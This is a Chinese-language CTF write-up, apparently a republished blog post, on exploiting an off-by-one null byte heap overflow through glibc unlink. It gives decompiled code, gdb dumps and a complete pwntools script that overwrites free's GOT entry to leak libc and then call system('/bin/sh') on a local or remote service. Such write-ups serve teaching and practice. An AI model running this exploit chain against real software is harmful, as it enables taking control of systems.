Unlink学习笔记(off-by-one null byte漏洞利用)

Posted TaiJi1985

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Unlink学习笔记(off-by-one null byte漏洞利用)相关的知识,希望对你有一定的参考价值。

看了很多malloc unlink 的案例,仍然是云里雾里, 找了一个案例,反复调了几十遍才弄明白其中原理。

off-by-one 漏洞 以及漏洞利用原理

off-by-one漏洞就是malloc 本来分配了0xf8的内存,结果可以写0xf9字节的数据,多写了一个,影响了下一个内存块的头部信息,
进而造成了被利用的可能。

unlink是双链表中删除一个节点的操作。
当前是p
前一个 BK = p->bk (back的缩写)
后一个 FD = p->fd (forward的缩写)
BK->fd = FD
FD->bk = BK
设置使得前一个的后一个等于当前节点的后一个,后一个的前一个等于当前节点的前一个。这样就完成了链表删除。
内存块chunk 的结构
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 size最后一个字节为前一个块是否是释放状态Prev_in_use |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据 .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 最后一个字节为前一个块是否是释放状态Prev_in_use |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

可以看到有一个奇怪的地方prev_size ,
如果前一个块是释放状态,则存储前一个块的大小,如果前一个块正在使用,则存储前一个块的数据。
前一个块是否被使用在size域的最后一位, 如果我们先在prev_size写上数据, 再修改size最后一位,就可以造出一个假的块。
我们释放下一个块,因为我们构造了一个free的假块,这两个块就会做合并。这就出发了额unlink。

unlink就可以改写某个地方的数据/

题目

一个简单的菜单题 栈溢出无法利用,在set中存在溢出0的情况,就是说多写了一个0 (off-by-one null byte),堆溢出一个0。
1 为分配内存 2为设置 3为删除 4不管用(故意不然泄露)。 5 退出。

直接运行程序输出:

Welcome to Alibaba Living Area, here you can
1. Init the message
2. Set the message
3. Delete the message
4. Show the message
5. Exit

IDA反编译代码如下:


void __fastcall main(__int64 a1, char **a2, char **a3)

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0x1Eu);
  sub_40094E(30LL, 0LL);
  while ( 1 )
  
    switch ( (unsigned int)sub_400963() )
    
      case 1u:
        yang_init();
        break;
      case 2u:
        yang_set();
        break;
      case 3u:
        yang_del();
        break;
      case 4u:
        yang_show();
        break;
      case 5u:
        yang_exit();
        return;
      default:
        puts("Invalid input\\n");
        break;
    
  

signed __int64 yang_init()

  signed __int64 result; // rax
  int i; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]
  char *buf; // [rsp+8h] [rbp-8h]

  if ( g_sz >= 0 && g_sz <= 15 )
  
    printf("Input the message length:", 0LL);
    size = read_int();
    if ( size >= 0 && size <= 256 )
    
      buf = (char *)malloc(size);
      while ( *(_QWORD *)&g_tb[2 * i + 1] > 0LL )
        ++i;
      g_tb[2 * i] = (struct Record)buf;
      g_tb[2 * i + 1] = (struct Record)size;
      ++g_sz;
      puts("Done~!");
      result = 0LL;
    
    else
    
      puts("Not allow~!");
      result = 1LL;
    
  
  else
  
    puts("Not allow~!");
    result = 1LL;
  
  return result;

signed __int64 yang_del()

  signed __int64 result; // rax
  int size; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  size = read_int();
  if ( size >= 0 && size <= 16 )
  
    if ( *(_QWORD *)&g_tb[2 * size + 1] <= 0LL )
    
      puts("Not allow~!");
      result = 1LL;
    
    else
    
      g_tb[2 * size + 1] = 0LL;
      free(*(void **)&g_tb[2 * size]);
      --g_sz;
      puts("Done~!");
      result = 0LL;
    
  
  else
  
    puts("Not allow~!");
    result = 1LL;
  
  return result;

int yang_show()

  return puts("Not allow~!");

signed __int64 yang_set()

  signed __int64 result; // rax
  int sz; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  sz = read_int();
  if ( sz >= 0 && sz <= 16 )
  
    if ( *(_QWORD *)&g_tb[2 * sz + 1] <= 0LL )
    
      puts("Not allow~!");
      result = 1LL;
    
    else
    
      printf("Input the message content:");
      read_buf(*(char **)&g_tb[2 * sz], *(_QWORD *)&g_tb[2 * sz + 1]);   //这个函数里溢出了一个0
      puts("Done~!");
      result = 0LL;
    
  
  else
  
    puts("Not allow~!");
    result = 1LL;
  
  return result;

signed int __fastcall read_buf(char *in, unsigned int size)

  char buf; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; i <= size; ++i )                 // 存在off-by-one漏洞
  
    if ( read(0, &buf, 1uLL) < 0 )
      return -1u;
    if ( buf == '\\n' )
    
      in[i] = 0;
      return i;
    
    in[i] = buf;
  
  in[i - 1] = 0;
  return i - 1;

分析

分析可知, 有一个全局变量(存储在bss段), 里面记录着每一段的地址和大小
struct Record
char* p;
int sz;
g_records[20]; 因为是64为,所以他们指针和int都是8字节,一个Record段正好是16字节(0x10) ,存在 0x6020c0的位置(下面有内存截图)

这里面有指针,我们可以用unlink修改其中的指针,进而修改其他的指针为got表的地址,这样就可以修改got表的free项为printf或者system。
使用printf,调用删除函数,实际上就调用了printf(而不是原本的free)。
free(buf) —> printf(buf)

这样就可以进行内存地址泄露,进而算出system的值,再将free_got改为system地址,执行删除函数
free(‘/bin/sh’) 就变成了 system(‘/bin/sh’)

这个思路有点精炼,看不懂看下面具体步骤。

先构造几个串备用

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

看一个gdb

heap

0x6d1000 PREV_INUSE //第0个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

0x6d1100 PREV_INUSE //第1个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

0x6d1200 PREV_INUSE //第2个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

0x6d1300 PREV_INUSE //第3个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

0x6d1400 PREV_INUSE //第4个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0

注意这个串的大小是有讲究的。需要是16的倍数+8, 这是和malloc对齐机制有关。

如果是 16的倍数,那么就会再增加16字节的头部存储prev_size和size。
如果是16x+8的形式,就会只增加8个字节的size部分,prev_size用上一个内存块的最后8位来表示。(size中存的是 用户分配的大小+0x8)
而上一个块我们是可以控制的,这代表这我们可以任意的改这个prev_size。
当然这个prev_size只有在当前快的prev_in_use(存在size最低位)为1的时候才能生效,所以需要一个溢出一个字节null。
溢出后下一个块的size的最低字节变成了0。这就要求我们的大小不能太小。

如果是 0xa8 的大小, 那么size中值为0xb0 ,null溢出后 这个值变成了0x00 。没大小了!!这就不对了。
目前我们设计的大小为f8 , f8+8 = 100 , 带着prev_in_use 为1, 实际在size中存储的是0x101。
溢出后低字节被清零,得到了0x100,这表示前一个块是空的。
那么前一个块在什么地方呢? 噔噔噔噔 !! 就在prev_size中,而这个块

构造假块

Unlink 在自己可控区域内构造一个假的块。

chunk_ptr = 0x6020c0 + 3*0x10  # 这个地址就是全局变量g_records[3].p 在unlink 的安全检查下,只能改这个地方的值。
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)

看修改后的内存。

0x1b10300: 0x0000000000000000 0x0000000000000101 块3 的开始
0x1b10310: 0x0000000000000110 0x00000000000001f1 这个快是我们控制的内存 (我们构造的假块的开始)
0x1b10320: 0x00007fefce073b78 0x00007fefce073b78
0x1b10330: 0x6161616161616161 0x6161616161616161
0x1b10340: 0x6161616161616161 0x6161616161616161
0x1b10350: 0x6161616161616161 0x6161616161616161
0x1b10360: 0x6161616161616161 0x6161616161616161
0x1b10370: 0x6161616161616161 0x6161616161616161
0x1b10380: 0x6161616161616161 0x6161616161616161
0x1b10390: 0x6161616161616161 0x6161616161616161
0x1b103a0: 0x6161616161616161 0x6161616161616161
0x1b103b0: 0x6161616161616161 0x6161616161616161
0x1b103c0: 0x6161616161616161 0x6161616161616161
0x1b103d0: 0x6161616161616161 0x6161616161616161
0x1b103e0: 0x6161616161616161 0x6161616161616161
0x1b103f0: 0x6161616161616161 0x6161616161616161
0x1b10400: 0x00000000000000 f0 0x00000000000001 00 这是块4的size字段。(块2) 这个字节溢出被改了!!本来使是01

f0是我们造的prev_size

0x1b10400 地址仍然属于上一个块的可控范围,现在将其设置为f0
而这个地址是下一个块的prev_size , (如果prev-in-use是0的话)

而原本 0x1b10408 位置为 101 ,表示上一个块 正在被使用,现在
01 这个字节被 00 替换。 让其以为上一个块是free的。

下面我们会free 块4 ,块4 就会根据 prev_size (f0)这个值去寻找头部。这个头部正好是我们构造的0x1b10310 这个位置。

然后free函数会监测 上一个块(FD指向)的下一个块是不是当前块
下一个块的上一个块是不是当前块,即:

FD->bk == P 和
BK->fd == P

FD->bk 怎么理解, FD是一个指针,它指向的内存块以Chunk这个结构体的方式访问
我们造的假块的结构如下:
Chunk // 第3个块
prev_size = 0x110, //本来chunk 3 的大小和chunk 2的大小都是0x100,现在我们造的假块地址是chunk3地址加0x10,所以上一块的内容要加0x110
size = 0xf1, //这个地方size为0xf0,最低位为1 ,表示上一个块不是free状态,这样就不会出现连锁的合并。
fd = chunk_ptr - 0x18, // chunk_ptr 是另外一个变量,这个变量中保存着这个块的地址。是g_table[3].p = malloc(0xf8) 中p的地址。
bk = chunk_ptr - 0x10,
fd_nextsize = 0x0,
bk_nextsize = 0x0

在结构体中 bk的偏移量是0x18 , 假设结构体的地址为FD ,那么 FD->bk 的地址为 FD+0x18
下面的内存中保存着 分配的内存地址 ,如果把结构体的头部(FD)放在 0x6020d8,那么FD->BK 正好是 0x6020f0
0x6020f0 值正好是0x1b10310 , 即 FD->fd 的值 == P。

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x0000000001b10310 0x00000000000000f8
0x602100: 0x0000000001b10410 0x00000000000000f8
0x602110: 0x0000000001b10510 0x00000000000000f8

这样就通过了检查。随后执行

FD->bk = BK
BK->fd = FD

因为检查中保证了 P= FD->bk = BK->fd 所以上面的语句相当于

P = FD = 0x6020f0 - 0x18
即将0x6020f0 的地址改为了0x6020f0 - 0x18 ,见下图

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x00000000006020d8 0x00000000000000f8 # 标黄的地方就是chunk_ptr 已经被修改成了自己的地址-0x18
0x602100: 0x0000000001b10410 0x0000000000000000
0x602110: 0x0000000001b10510 0x00000000000000f8

泄露地址和执行system

修改了这个地址有什么用呢? 本来有一个指针指向它的。
struct Record
char* p;
int sz;

现在, p= 0x6020d8;
这样我们对p进行修改, 就可以修改0x6020d8对应的位置,这个位置也在上面数据所示的表格中。

比如我们把它改为got_entry_free的地址,

payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
setmsg(3,payload)

通过这个串,可以讲内存设置为

0x6020c0: 0x0000000001169010 0x00000000000000f8 Record 0
0x6020d0: 0x0000000001169110 0x00000000000000f8 Record 1
0x6020e0: 0x0000000000 602018 0x00000000000000f8 这里被成功写入了 Record 2
0x6020f0: 0x00000000006020d8 0x00000000000000f8 Record 3
0x602100: 0x0000000001169410 0x0000000000000000 Record 4
0x602110: 0x0000000001169510 0x00000000000000f8 Record 5

got_entry_free的值被成功写入到 了 Record 2 中, 对2的修改就会修改free_got的值,改变其本身的行为
本来该调用free函数的,却调用了我们写入的值。

我们现在将printf 的 地址写入,因为不知道这个地址,所以我们写入plt的地址。

payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

0x602018 <free@got.plt>:    **0x00000000004006e0**  0x00007fa818174690   # 这里被改写成了
0x602028 <__stack_chk_fail@got.plt>:    0x00000000004006d6  0x00007fa81815a800
0x602038 <alarm@got.plt>:   0x00007fa8181d1200  0x00007fa8181fc250
0x602048 <__libc_start_main@got.plt>:   0x00007fa818125740  0x0000000000400726
0x602058 <malloc@got.plt>:  0x00007fa818189130  0x00007fa818174e70

这样在执行 del 时,本该调用free,结果却调用了printf ,这就带来了地址泄露。比如执行

printf(“%11$lx”)就可以输出lib_main_ret的地址,进而计算出system的地址。

同样的设置address的地址

payload = p64(system_address)[:-1] # printf plt address
set_msg(2, payload)

随后调用
del_msg(1) 这样本应该执行 free(chunk_1_address) 的,结果执行了system(chunk_1_address)

随意,我们预先在chunk 1 中存储 /bin/sh ,这样命令行就打开了。


#!/usr/bin/env python
# coding: utf-8

from pwn import *
context.log_level = "error"

#init
context(arch = 'amd64', os = 'linux')
local=True

if local:
    p = process("./fb")
else:
    p = remote("121.40.56.102", 9733)

print '[*] PID:',pidof('fb')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

name = "fb"

off_onegadget = 0x4526A
offset___libc_start_main_ret = 0x20830
offset_system = 0x45390
offset_read = 0xf6670
offset_write = 0xf66d0
offset_str_bin_sh = 0x18c177

def attach():
    if local:
        gdb.attach(pidof(name)[0],gdbscript = "b * 0x400CB1\\n")

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

def set_msg(idx,cont):
    p.recvuntil("Choice:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
    p.recvuntil("content:")
    p.sendline(cont)
    print 'set  msg ' , idx,',cont = ',cont

def del_msg(idx):
    print 'del_msg ' , idx
    p.recvuntil("Choice:")
    p.sendline("3")
    p.recvuntil("index:")
    p.sendline(str(idx))

def my_eval():
    print 'Enter python model'
    while True:
        try:
            s = raw_input("python>")
            if s == 'q\\n':
                return
            print eval(s)
        except Exception as e:
            print (e)

def mp(str):
    print str
    return 1
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

# lack of chunks
#attach()


chunk_ptr = 0x6020c0 + 3*0x10 

set_msg(0,"%lx."* 0x11) # 0
set_msg(1,"/bin/sh\\x00") # 1

payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)
#raw_input("press to continue")

del_msg(4)
#raw_input("xxxxx")


#set_msg(3, 'a' * 0x10)


got_entry_free = 0x000000000602018 
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
# 0xf8 got_entry_free 0xf8 without '\\x00' overflow
set_msg(3, payload)
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

#attach()

# printf("%lx."* 0x11)
del_msg(0)

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

r = p.recvuntil("Done~!", drop = True)
print "recv ", r , "\\n--------------------------"

r = r.split('.')[-2]

# p.interactive()

libc_start_main_ret_addr = int("0x" + r ,16)


print "libc_start_main_ret_addr: ", hex(libc_start_main_ret_addr)

# we unlink, check chunk_ptr's position
system_addr = libc_start_main_ret_addr - offset___libc_start_main_ret + offset_system

print "system_addr: ", hex(system_addr)


payload = p64(system_addr)[:-1]
set_msg(2, payload)

set_msg(1,"/bin/sh\\x00")

del_msg(1)

my_eval()
p.interactive()

# we unlink, check chunk_ptr's position

以上是关于Unlink学习笔记(off-by-one null byte漏洞利用)的主要内容,如果未能解决你的问题,请参考以下文章

Windows批处理学习笔记4

linux(x86) exploit 开发系列3:off-by-one

Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基于栈)

off-by-one (b00ks)

Linux堆溢出漏洞利用之unlink

堆漏洞——实战double free和unlink漏洞